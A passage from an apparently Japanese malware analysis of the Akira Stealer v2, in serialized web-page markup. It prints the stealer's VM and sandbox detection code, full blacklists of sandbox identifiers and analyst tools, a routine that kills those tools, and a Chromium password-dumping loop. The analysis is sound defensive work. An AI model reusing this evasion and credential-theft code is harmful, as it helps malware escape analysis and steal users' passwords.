subprocess.run(\n",[1707,5528,5529],{"class":1709,"line":5052},[1707,5530,5531],{},"        \"wmic path win32_VideoController get name\",\n",[1707,5533,5534],{"class":1709,"line":5058},[1707,5535,5536],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1707,5538,5539],{"class":1709,"line":5064},[1707,5540,5541],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1707,5543,5544],{"class":1709,"line":5070},[1707,5545,5546],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1707,5548,5549],{"class":1709,"line":5076},[1707,5550,5551],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[526,5553,5554],{},"こうしたハードウェア層のチェックは、仮想化されたディスプレイアダプターを十分に隠しきれていない解析環境に対して特に有効です。",[889,5556,5558],{"id":5557},"_7311-タスクの強制終了-解析ツールをリアルタイムに抑え込む","7.3.11 タスクの強制終了 – 解析ツールをリアルタイムに抑え込む",[526,5560,895],{},[526,5562,5563],{},"Akiraは受動的に検出を避けるだけでなく、さらに一歩進んで既知の解析ツールやデバッグツールを能動的に終了させます。バックグラウンドスレッドを起こし、プロセスのリストを走査して一致するものをすべて強制終了します。",[616,5565,5567],{"className":4512,"code":5566,"language":4514,"meta":530,"style":530},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[578,5568,5569,5573,5578,5583,5587,5592,5597,5602,5607],{"__ignoreMap":530},[1707,5570,5571],{"class":1709,"line":1710},[1707,5572,4998],{},[1707,5574,5575],{"class":1709,"line":531},[1707,5576,5577],{},"def killTasks() -> None:\n",[1707,5579,5580],{"class":1709,"line":2090},[1707,5581,5582],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1707,5584,5585],{"class":1709,"line":2096},[1707,5586,3869],{"emptyLinePlaceholder":325},[1707,5588,5589],{"class":1709,"line":2419},[1707,5590,5591],{},"BLACKLISTED_TASKS = (\n",[1707,5593,5594],{"class":1709,"line":2425},[1707,5595,5596],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1707,5598,5599],{"class":1709,"line":3077},[1707,5600,5601],{},"  # ... dozens more ...\n",[1707,5603,5604],{"class":1709,"line":3872},[1707,5605,5606],{},"  'glasswire','requestly'\n",[1707,5608,5609],{"class":1709,"line":3878},[1707,5610,5264],{},[526,5612,5613],{},"これらのツールはインシデント対応者やマルウェア解析者が日常的に使うものですが、意味のある振る舞いの痕跡を収集する前に無力化されてしまいます。",[526,5615,5616],{},[567,5617,5618],{},"まとめ",[526,5620,5621],{},"Akiraは、環境変数やレジストリキーからネットワークの探索やタスク一覧に至るまで、システムの複数の層を狙う洗練されたアンチ解析手法の一式を備えています。これらのメカニズムは、自動化されたサンドボックスと手作業の検査環境の双方を検出し回避するよう設計されています。",[526,5623,5624],{},"受動的なフィンガープリンティングと能動的な抑え込み（タスクの強制終了など）の組み合わせは、中堅どころのマルウェアファミリーでさえ多層的な回避ロジックを組み込むようになった実情を示しています。",[889,5626,5628],{"id":5627},"_7312-ブラックリストの全体と検出関数","7.3.12 ブラックリストの全体と検出関数",[526,5630,895],{},[526,5632,5633],{},[567,5634,5635],{},"ブラックリスト対象のハードウェアUUID",[616,5637,5640],{"className":5638,"code":5639,"language":621},[619],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[578,5641,5639],{"__ignoreMap":530},[526,5643,5644],{},[567,5645,5646],{},"ブラックリスト対象のコンピューター名",[616,5648,5651],{"className":5649,"code":5650,"language":621},[619],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[578,5652,5650],{"__ignoreMap":530},[526,5654,5655],{},[567,5656,5657],{},"ブラックリスト対象のユーザーアカウント",[616,5659,5662],{"className":5660,"code":5661,"language":621},[619],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[578,5663,5661],{"__ignoreMap":530},[526,5665,5666],{},[567,5667,5668],{},"ブラックリスト対象の解析ツールプロセス",[616,5670,5673],{"className":5671,"code":5672,"language":621},[619],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[578,5674,5672],{"__ignoreMap":530},[526,5676,5677],{},[567,5678,5679],{},"中核となる検出メソッド",[616,5681,5683],{"className":4512,"code":5682,"language":4514,"meta":530,"style":530},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[578,5684,5685,5689,5693,5698,5702,5706,5711,5716,5721,5725,5729,5733,5737,5741,5745,5750,5755,5759,5763,5767,5772,5777,5781,5785,5789,5794,5799,5804,5809,5815,5820,5825,5830,5835,5840,5845,5851,5857,5863,5868,5873,5878,5883,5889,5894,5899,5904,5909,5914,5919,5925,5931,5937,5943,5948,5953,5959,5965,5971,5977,5982,5987,5993,5998,6003,6009,6015,6021,6026,6032,6038,6043,6049,6055,6060,6065,6070,6076],{"__ignoreMap":530},[1707,5686,5687],{"class":1709,"line":1710},[1707,5688,4998],{},[1707,5690,5691],{"class":1709,"line":531},[1707,5692,5156],{},[1707,5694,5695],{"class":1709,"line":2090},[1707,5696,5697],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1707,5699,5700],{"class":1709,"line":2096},[1707,5701,5161],{},[1707,5703,5704],{"class":1709,"line":2419},[1707,5705,5166],{},[1707,5707,5708],{"class":1709,"line":2425},[1707,5709,5710],{},"            \"wmic csproduct get uuid\",\n",[1707,5712,5713],{"class":1709,"line":3077},[1707,5714,5715],{},"            shell=True, capture_output=True\n",[1707,5717,5718],{"class":1709,"line":3872},[1707,5719,5720],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1707,5722,5723],{"class":1709,"line":3878},[1707,5724,5186],{},[1707,5726,5727],{"class":1709,"line":4125},[1707,5728,5191],{},[1707,5730,5731],{"class":1709,"line":5046},[1707,5732,5196],{},[1707,5734,5735],{"class":1709,"line":5052},[1707,5736,3869],{"emptyLinePlaceholder":325},[1707,5738,5739],{"class":1709,"line":5058},[1707,5740,4998],{},[1707,5742,5743],{"class":1709,"line":5064},[1707,5744,5225],{},[1707,5746,5747],{"class":1709,"line":5070},[1707,5748,5749],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1707,5751,5752],{"class":1709,"line":5076},[1707,5753,5754],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1707,5756,5757],{"class":1709,"line":5082},[1707,5758,3869],{"emptyLinePlaceholder":325},[1707,5760,5761],{"class":1709,"line":5088},[1707,5762,4998],{},[1707,5764,5765],{"class":1709,"line":5094},[1707,5766,5290],{},[1707,5768,5769],{"class":1709,"line":5100},[1707,5770,5771],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1707,5773,5774],{"class":1709,"line":5106},[1707,5775,5776],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1707,5778,5779],{"class":1709,"line":5112},[1707,5780,3869],{"emptyLinePlaceholder":325},[1707,5782,5783],{"class":1709,"line":5118},[1707,5784,4998],{},[1707,5786,5787],{"class":1709,"line":5124},[1707,5788,5358],{},[1707,5790,5791],{"class":1709,"line":5130},[1707,5792,5793],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1707,5795,5797],{"class":1709,"line":5796},26,[1707,5798,5363],{},[1707,5800,5802],{"class":1709,"line":5801},27,[1707,5803,5161],{},[1707,5805,5807],{"class":1709,"line":5806},28,[1707,5808,5372],{},[1707,5810,5812],{"class":1709,"line":5811},29,[1707,5813,5814],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1707,5816,5818],{"class":1709,"line":5817},30,[1707,5819,5387],{},[1707,5821,5823],{"class":1709,"line":5822},31,[1707,5824,5186],{},[1707,5826,5828],{"class":1709,"line":5827},32,[1707,5829,5396],{},[1707,5831,5833],{"class":1709,"line":5832},33,[1707,5834,3869],{"emptyLinePlaceholder":325},[1707,5836,5838],{"class":1709,"line":5837},34,[1707,5839,4998],{},[1707,5841,5843],{"class":1709,"line":5842},35,[1707,5844,5426],{},[1707,5846,5848],{"class":1709,"line":5847},36,[1707,5849,5850],{},"    \"\"\"\n",[1707,5852,5854],{"class":1709,"line":5853},37,[1707,5855,5856],{},"    Attempt TLS to random subdomain.\n",[1707,5858,5860],{"class":1709,"line":5859},38,[1707,5861,5862],{},"    Failure → possible HTTPS interception/sandbox.\n",[1707,5864,5866],{"class":1709,"line":5865},39,[1707,5867,5850],{},[1707,5869,5871],{"class":1709,"line":5870},40,[1707,5872,5431],{},[1707,5874,5876],{"class":1709,"line":5875},41,[1707,5877,5161],{},[1707,5879,5881],{"class":1709,"line":5880},42,[1707,5882,5440],{},[1707,5884,5886],{"class":1709,"line":5885},43,[1707,5887,5888],{},"        return True\n",[1707,5890,5892],{"class":1709,"line":5891},44,[1707,5893,5186],{},[1707,5895,5897],{"class":1709,"line":5896},45,[1707,5898,5396],{},[1707,5900,5902],{"class":1709,"line":5901},46,[1707,5903,3869],{"emptyLinePlaceholder":325},[1707,5905,5907],{"class":1709,"line":5906},47,[1707,5908,4998],{},[1707,5910,5912],{"class":1709,"line":5911},48,[1707,5913,5483],{},[1707,5915,5917],{"class":1709,"line":5916},49,[1707,5918,5850],{},[1707,5920,5922],{"class":1709,"line":5921},50,[1707,5923,5924],{},"    Look for VirtualBox/VMware in:\n",[1707,5926,5928],{"class":1709,"line":5927},51,[1707,5929,5930],{},"    - Registry driver entries\n",[1707,5932,5934],{"class":1709,"line":5933},52,[1707,5935,5936],{},"    - Video card name via WMIC\n",[1707,5938,5940],{"class":1709,"line":5939},53,[1707,5941,5942],{},"    - Presence of VM-specific folders\n",[1707,5944,5946],{"class":1709,"line":5945},54,[1707,5947,5850],{},[1707,5949,5951],{"class":1709,"line":5950},55,[1707,5952,5488],{},[1707,5954,5956],{"class":1709,"line":5955},56,[1707,5957,5958],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1707,5960,5962],{"class":1709,"line":5961},57,[1707,5963,5964],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1707,5966,5968],{"class":1709,"line":5967},58,[1707,5969,5970],{},"        shell=True, capture_output=True\n",[1707,5972,5974],{"class":1709,"line":5973},59,[1707,5975,5976],{},"    )\n",[1707,5978,5980],{"class":1709,"line":5979},60,[1707,5981,5503],{},[1707,5983,5985],{"class":1709,"line":5984},61,[1707,5986,5958],{},[1707,5988,5990],{"class":1709,"line":5989},62,[1707,5991,5992],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1707,5994,5996],{"class":1709,"line":5995},63,[1707,5997,5970],{},[1707,5999,6001],{"class":1709,"line":6000},64,[1707,6002,5976],{},[1707,6004,6006],{"class":1709,"line":6005},65,[1707,6007,6008],{},"    gpu = any(\n",[1707,6010,6012],{"class":1709,"line":6011},66,[1707,6013,6014],{},"        x.lower() in subprocess.run(\n",[1707,6016,6018],{"class":1709,"line":6017},67,[1707,6019,6020],{},"            \"wmic path win32_VideoController get name\",\n",[1707,6022,6024],{"class":1709,"line":6023},68,[1707,6025,5715],{},[1707,6027,6029],{"class":1709,"line":6028},69,[1707,6030,6031],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1707,6033,6035],{"class":1709,"line":6034},70,[1707,6036,6037],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1707,6039,6041],{"class":1709,"line":6040},71,[1707,6042,5976],{},[1707,6044,6046],{"class":1709,"line":6045},72,[1707,6047,6048],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1707,6050,6052],{"class":1709,"line":6051},73,[1707,6053,6054],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1707,6056,6058],{"class":1709,"line":6057},74,[1707,6059,3869],{"emptyLinePlaceholder":325},[1707,6061,6063],{"class":1709,"line":6062},75,[1707,6064,4998],{},[1707,6066,6068],{"class":1709,"line":6067},76,[1707,6069,5577],{},[1707,6071,6073],{"class":1709,"line":6072},77,[1707,6074,6075],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1707,6077,6079],{"class":1709,"line":6078},78,[1707,6080,5582],{},[889,6082,6084],{"id":6083},"_7313-実行と中断のロジック","7.3.13 実行と中断のロジック",[526,6086,895],{},[2104,6088,6089,6102,6115],{},[634,6090,6091,3278,6094,6097,6098,6101],{},[567,6092,6093],{},"初期化:",[578,6095,6096],{},"Akira.__init__()"," コンストラクター内で、マルウェアはただちに ",[578,6099,6100],{},"VmProtect.isVM(1)"," を呼び出し、負荷の小さい素早い仮想化チェック（ホスト名、ユーザー、HTTPSシミュレーションなど）を行います。",[634,6103,6104,6107,6108,6111,6112,6114],{},[567,6105,6106],{},"詳細な検査:"," 最初のテストを通過すると ",[578,6109,6110],{},"VmProtect.isVM(2)"," を呼び出し、ハードウェアUUIDの検証、",[578,6113,5343],{}," によるホスティングの検出、レジストリの痕跡スキャンを含む、より網羅的なチェックを実行します。",[634,6116,6117,6120,6121,6123,6124,6126],{},[567,6118,6119],{},"中断の経路:"," いずれかのチェックが ",[578,6122,4687],{}," を返し、仮想環境または解析環境であると示された場合、コードは ",[578,6125,4691],{}," を実行し、データ収集や窃取のルーチンに入る前に実行を終了します。",[889,6128,6130],{"id":6129},"_7314-結論","7.3.14 結論",[526,6132,895],{},[526,6134,6135,6137,6138,6140],{},[4649,6136,677],{}," の ",[578,6139,4636],{}," モジュールは、ローカルシステムのフィンガープリントとネットワークベースのヒューリスティックの双方を活用した、解析に対する多層防御を体現しています。これらの精緻なチェックを理解し計測できるようにすれば、防御側は形勢を逆転させ、こうした回避型マルウェアを実運用環境で検出できます。",[741,6142,6144],{"id":6143},"_74-ブラウザーデータの窃取","7.4 ブラウザーデータの窃取",[526,6146,747],{},[526,6148,6149,6150,585,6153,6156],{},"Akira Stealer v2の中核的な目的の1つが、ブラウザーに保存された機微なデータの大規模な抽出です。このマルウェアは、",[567,6151,6152],{},"Chromiumベース",[567,6154,6155],{},"Geckoベース（Firefox）"," の双方のブラウザーを狙う専用モジュールを実装しています。その能力は、保存されたパスワード、Cookie、クレジットカード情報、自動入力エントリ、さらにはアカウントの完全な乗っ取りに転用できるセッショントークンの抽出と復号にまで及びます。",[526,6158,6159],{},[567,6160,6161],{},"1. 作業領域の準備",[616,6163,6165],{"className":4512,"code":6164,"language":4514,"meta":530,"style":530},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[578,6166,6167,6172,6177,6182],{"__ignoreMap":530},[1707,6168,6169],{"class":1709,"line":1710},[1707,6170,6171],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1707,6173,6174],{"class":1709,"line":531},[1707,6175,6176],{},"os.makedirs(client_dir, exist_ok=True)\n",[1707,6178,6179],{"class":1709,"line":2090},[1707,6180,6181],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1707,6183,6184],{"class":1709,"line":2096},[1707,6185,6186],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[631,6188,6189,6196,6199,6202,6205],{},[634,6190,6191,6192],{},"システムの一時ディレクトリの下に、被害者のマシン名を冠した使い捨ての中継領域（%TEMP%\\DESKTOP-",[6193,6194,6195],"hostname",{},"）を作成し、窃取した成果物をすべて1か所にまとめてアーカイブしやすくします。",[634,6197,6198],{},"データを種類ごとに分離します。専用のサブフォルダーを6つ（Passwords、Cookies、CreditCards、History、Autofill、Wallets）用意することで名前の衝突を防ぎ、後のZIP化を簡単にします。各抽出ルーチンは自分のフォルダーにのみ書き込みます。",[634,6200,6201],{},"ディレクトリ作成は exist_ok=True によりべき等です。そのためマルウェアが再実行されても（再起動時や永続化による実行など）クラッシュしたり既存データを上書きしたりせず、新しい項目が同じ構造に追加されるだけです。",[634,6203,6204],{},"選択的なクリーンアップを容易にします。アップロードと通知が完了すると、スティーラーは Utils.clear_client_folder() を呼び出して自分の作業領域だけを再帰的に削除でき、残留ファイルを一切残しません。",[634,6206,6207],{},"並列の抽出スレッドへの下地にもなります。対象をあらかじめ作成しておくことで、ブラウザーの認証情報、Cookie、自動入力、暗号通貨ウォレットのデータなどを収集するバックグラウンドスレッドは、追加のチェックなしにただちに結果を書き込めます。これによりオーバーヘッドが減り、防御側のフックが予期しないファイルI/Oを検出する余地も小さくなります。",[526,6209,6210],{},[567,6211,6212],{},"2. 対応ブラウザー",[631,6214,6215,6257],{},[634,6216,6217,6219],{},[567,6218,6152],{},[631,6220,6221,6224,6227,6230,6233,6236,6239,6242,6245,6248,6251,6254],{},[634,6222,6223],{},"Google Chrome（Stable版とSxS版）",[634,6225,6226],{},"Microsoft Edge",[634,6228,6229],{},"Brave Browser",[634,6231,6232],{},"Opera と Opera GX",[634,6234,6235],{},"Chromium",[634,6237,6238],{},"Comodo Dragon",[634,6240,6241],{},"Epic Privacy Browser",[634,6243,6244],{},"Iridium Browser",[634,6246,6247],{},"UR Browser",[634,6249,6250],{},"Vivaldi Browser",[634,6252,6253],{},"Yandex Browser",[634,6255,6256],{},"Slimjet、Amigo、Torch、Kometa、Orbitum、CentBrowser、7Star、Sputnik、Uran",[634,6258,6259,6262,6263,6266,6267,6278,6280,6281,6290,6292,6295,6296,6299],{},[567,6260,6261],{},"Firefoxベース","（",[578,6264,6265],{},"GeckoDriver"," 経由）",[631,6268,6269,6272,6275],{},[634,6270,6271],{},"Mozilla Firefox",[634,6273,6274],{},"Waterfox",[634,6276,6277],{},"Pale Moon",[724,6279],{},"Akiraは、環境変数と広く知られたディレクトリ構造を使ってユーザープロファイルを動的に特定します。",[616,6282,6284],{"className":4512,"code":6283,"language":4514,"meta":530,"style":530},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[578,6285,6286],{"__ignoreMap":530},[1707,6287,6288],{"class":1709,"line":1710},[1707,6289,6283],{},[724,6291],{},[578,6293,6294],{},"Default"," や ",[578,6297,6298],{},"Profile 1"," などの利用可能なブラウザープロファイルを再帰的に調べ、それらのパス配下にあるSQLiteデータベースを標的にします。",[889,6301,6303],{"id":6302},"_741-抽出されるデータの種類","7.4.1 抽出されるデータの種類",[526,6305,895],{},[1420,6307,4701,6308],{},[1436,6309,6310,4701,6323,4701,6336,4701,6349,4701,6361,4701,6373,4701,6384],{},[1426,6311,4706,6312,4706,6316,4706,6320,4701],{},[1429,6313,6315],{"style":6314},"text-align: left; width: 22%;","データの種類",[1429,6317,6319],{"style":6318},"text-align: left; width: 28%;","取得元ファイル",[1429,6321,6322],{},"備考",[1426,6324,4706,6325,4706,6328,4706,6333,4701],{},[1441,6326,6327],{},"保存されたパスワード",[1441,6329,6330,6332],{},[578,6331,584],{},"（Chromium）",[1441,6334,6335],{},"DPAPIまたはAES-GCM（Chromium v80以降）で復号される",[1426,6337,4706,6338,4706,6341,4706,6346,4701],{},[1441,6339,6340],{},"Cookie",[1441,6342,6343],{},[578,6344,6345],{},"Cookies",[1441,6347,6348],{},"特にGoogle／Facebookアカウントについて、セッショントークンを含みうる",[1426,6350,4706,6351,4706,6354,4706,6358,4701],{},[1441,6352,6353],{},"自動入力データ",[1441,6355,6356],{},[578,6357,588],{},[1441,6359,6360],{},"住所、メールアドレス、電話番号など",[1426,6362,4706,6363,4706,6366,4706,6370,4701],{},[1441,6364,6365],{},"クレジットカード",[1441,6367,6368],{},[578,6369,588],{},[1441,6371,6372],{},"暗号化されている。マスターキーが必要",[1426,6374,4706,6375,4706,6378,4706,6381,4701],{},[1441,6376,6377],{},"セッショントークン",[1441,6379,6380],{},"メモリ上とCookie",[1441,6382,6383],{},"Gmail、Googleアカウント、DiscordのOAUTHリプレイを含む",[1426,6385,4706,6386,4706,6389,4706,6397,4701],{},[1441,6387,6388],{},"履歴とURL",[1441,6390,6391,647,6394],{},[578,6392,6393],{},"History",[578,6395,6396],{},"Visited Links",[1441,6398,6399],{},"これらも攻撃者へ窃取された",[854,6401],{"className":6402},[857,858],[526,6404,6405,6408],{},[567,6406,6407],{},"3. 抽出モジュール","\nマルウェア作者がブラウザーを標的にするとき、その主な宝庫は、Chrome、Firefoxおよびその同系統が認証情報、Cookie、履歴、自動入力エントリを保存する各種のSQLiteデータベースです。astor.pyは、軽量なPythonとネイティブAPIを組み合わせ、あらゆるデータを痕跡を残さず整然と抜き取り、さらにはライブのOAuthセッションのリプレイまで行います。以下は、コードそのままに沿った、モジュール単位の詳細なめぐり方です。",[889,6410,6412,6413,4433],{"id":6411},"_742-パスワードダンパー-chromiumgetpasswords","7.4.2 パスワードダンパー (",[578,6414,6415],{},"Chromium.GetPasswords",[526,6417,895],{},[526,6419,6420],{},"このモジュールは、Chromiumベースのすべてのブラウザープロファイルを体系的に探索し、保存されたログイン認証情報を抽出します。Login DataのSQLiteデータベースを標的にしてユーザー名と暗号化されたパスワードを取り出し、プラットフォームの暗号鍵（DPAPIまたはAES-GCM経由で取得）を使って平文に復号します。これらの認証情報は、侵害後の横展開やアカウント乗っ取りにおいて非常に価値があります。",[616,6422,6424],{"className":4512,"code":6423,"language":4514,"meta":530,"style":530},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[578,6425,6426,6431,6436,6441,6446,6451,6456,6461,6466,6471],{"__ignoreMap":530},[1707,6427,6428],{"class":1709,"line":1710},[1707,6429,6430],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1707,6432,6433],{"class":1709,"line":531},[1707,6434,6435],{},"    for file in files:\n",[1707,6437,6438],{"class":1709,"line":2090},[1707,6439,6440],{},"        if file.lower() == \"login data\":\n",[1707,6442,6443],{"class":1709,"line":2096},[1707,6444,6445],{},"            # Copy DB → open → extract rows\n",[1707,6447,6448],{"class":1709,"line":2419},[1707,6449,6450],{},"            results = cursor.execute(\n",[1707,6452,6453],{"class":1709,"line":2425},[1707,6454,6455],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1707,6457,6458],{"class":1709,"line":3077},[1707,6459,6460],{},"            ).fetchall()\n",[1707,6462,6463],{"class":1709,"line":3872},[1707,6464,6465],{},"            for url, user, pwd_blob in results:\n",[1707,6467,6468],{"class":1709,"line":3878},[1707,6469,6470],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1707,6472,6473],{"class":1709,"line":4125},[1707,6474,6475],{},"                passwords.append((url, user, clear_pwd))\n",[631,6477,6478,6492,6498,6506,6524],{},[634,6479,6480,6481,6484,6485,6487,6488,6491],{},"ブラウザーの ",[578,6482,6483],{},"User Data"," 